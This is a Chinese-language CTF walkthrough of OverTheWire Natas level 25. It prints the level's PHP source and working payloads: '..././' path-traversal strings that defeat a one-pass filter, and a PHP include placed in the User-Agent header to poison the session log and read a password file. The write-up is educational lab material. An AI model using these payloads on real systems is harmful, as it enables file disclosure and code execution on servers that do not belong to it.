Natas25-writeup

前言 php

  題目連接: http://natas25.natas.labs.overthewire.orgweb

  作這一題花了一些時間,也是因爲本身知識點掌握不足,因此分享下解題過程。安全

 

題目分析session

  首先,登陸後看到如下界面,是一篇文章的內容。右上角,language的地方能夠選擇語言,默認是英語,能夠選擇德語。當選擇德語或英語後,能夠看到URL請求會發送lang的參數。當我看到這裏的時候先想到的是文章內容多是讀取的網站的文件內容,猜想經過目錄遍歷去直接查看/etc/natas_webpass/natas26的內容(此文件存放了下一關的密碼)。(這邊沒有嘗試,直接先查看了源代碼,固然此關沒這麼簡單,嘗試結果也會是失敗的。)併發

  點擊view sourcecode來解讀下源代碼。函數

  能夠看到一共有四個函數,分別是setLanguage、safeinclude、listFiles和logRequest。根據名稱含義及代碼大體猜想setlanguage是設置語言,safeinclude是文件包含的安全設置,listfile是羅列文件或查找文件(此函數其實並未徹底理解,但大體理解爲用於查找lang參數傳入的文件路徑),logrequest是用於寫入安全日誌。學習

  大體理了下邏輯關係。網站

<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?> ui

  一、頁面請求開始後,foreach函數會調用listfiles函數的返回結果做爲變量f並輸出。默認狀況下就是咱們一打開看到的英文文章。spa

<?php  
    session_start();
    setLanguage();
    
    echo 
"<h2>$__GREETING
</h2>";
    echo 
"<p align=\"justify\">$__MSG
";
    echo 
"<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>

  二、當頁面上選擇language後,調用setlanguage函數。以後就是幾個函數的相互調用。

function setLanguage(){
        /* language setup */
        
if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }

  三、Setlanguage函數將request中的lang參數丟給safeinclude函數,假如此時request中傳遞的lang參數爲../../../../../etc/natas_webpass/natas25。通過拼接後傳遞給safeinclude函數的參數就變成了language/../../../../../etc/natas_webpass/natas25

function safeinclude($filename){
        // check for directory traversal
        
if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        
if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        
if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    

  四、safeinclude函數將通過幾回判斷:

    • 首先判斷文件路徑中是否包含"../",若包含則經過str_replace函數將"../"所有替換爲空。並經過logrequest函數記錄此次事件。這種過濾,如:將每一個../替換爲…/./,這種過濾是一次性的,不會對過濾的內再次校驗,…/./過濾後就變成了../。
    • 而後判斷文件路徑中是否包含了natas_webpass,若包含直接斷開鏈接,並記錄日誌。這致使了直接訪問natas_webpass/natas26的方法不可行了。
    • 最後的判斷則是包含文件,並返回內容了。

到此爲止,我最開始的猜測證實錯誤了。這裏我也卡了好久,畢竟剛開始學,知識匱乏(無奈。。。)

一開始我忽略了,logrequest函數記錄日誌這一過程,由於沒看該函數內容前,一直覺得日誌記錄的只是固定的字符串。但其實還有時間和requests請求中的user-agent字段。卡了好久後,無奈Google了一番,確認了新思路。利用user-agent進行注入,將natas26文件內容寫入日誌後,再經過目錄遍歷查看日誌文件。

    function logRequest($message){
        $log="["date("d.m.Y H::i:s",time()) ."]";#記錄時間
        $log=$log " " $_SERVER['HTTP_USER_AGENT'];#經過user-agent去包含natas26文件
        $log=$log " \"" $message ."\"\n"
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" session_id() .".log","a");#日誌路徑,目錄遍歷時用。
        fwrite($fd,$log);
        fclose($fd);
    }

logrequest函數中有兩個關鍵點:

 $log=$log " " $_SERVER['HTTP_USER_AGENT'];

    • 這條語句會將HTTP請求中的user-agent字段的內容,拼接到日誌信息中。這裏我採用了include函數去讀取natas26文件內容。(這裏並不是只能用include,只要能夠讀取文件內容的方式應該均可以。)

 $fd=fopen("/var/www/natas/natas25/logs/natas25_" session_id() .".log","a");

    • 日誌存儲的路徑,以及日誌文件名的命名規則。

 

開始解題

  我使用了burpsuite來抓包和改包。設置好代理後,抓到請求包,併發送給repeater,開始構造所需的請求包。

  主要有兩處須要修改的地方:

    • 構造lang參數去讀取日誌文件。

?lang=..././..././..././..././..././..././var/www/natas/natas25/logs/natas25_1hlck4sj7dasfhp0h05efhb9b1.log

?lang=..././logs/natas25_1hlck4sj7dasfhp0h05efhb9b1.log

  這裏,我列出了2種路勁。第一種路勁是返回到根目錄,而後使用完整路徑訪問日誌文件。第二種路勁是猜想logs目錄和language目錄屬於同一級目錄,因此返回至natas目錄,而後訪問logs目錄下的日誌文件。原理是同樣的,只是當不知道目錄之間的關係時,又知道完整路勁,就採用第一種方式。

    • 構造user-agent參數去包含natas_webpass/natas26文件內容。

User-Agent: <?php include('/etc/natas_webpass/natas26') ?>

  如圖,其中PHPID也是關鍵,由於日誌文件的命名是用到了PHPID。

  構造好數據包後,發送請求,得到下一關的密碼。(圖片中密碼抹掉了幾位,建議動手嘗試)

  (能夠看到第一次請求因爲輸錯了路勁,致使include失敗的信息也是寫入了日誌中。)

  這裏能夠看到safeinclude函數,當"../"被替換後,會在日誌中記錄"Directory traversal attempt! fixing request."

  當直接嘗試訪問/etc/natas_webpass/natas26時,會斷開鏈接,沒有返回內容,並會在日誌中記錄"Illegal file access detected! Aborting!"

  以上就是整個natas25的解題過程了,當時主要是在user-agent的注入上花了點時間學習。

本站公眾號
   歡迎關注本站公眾號,獲取更多信息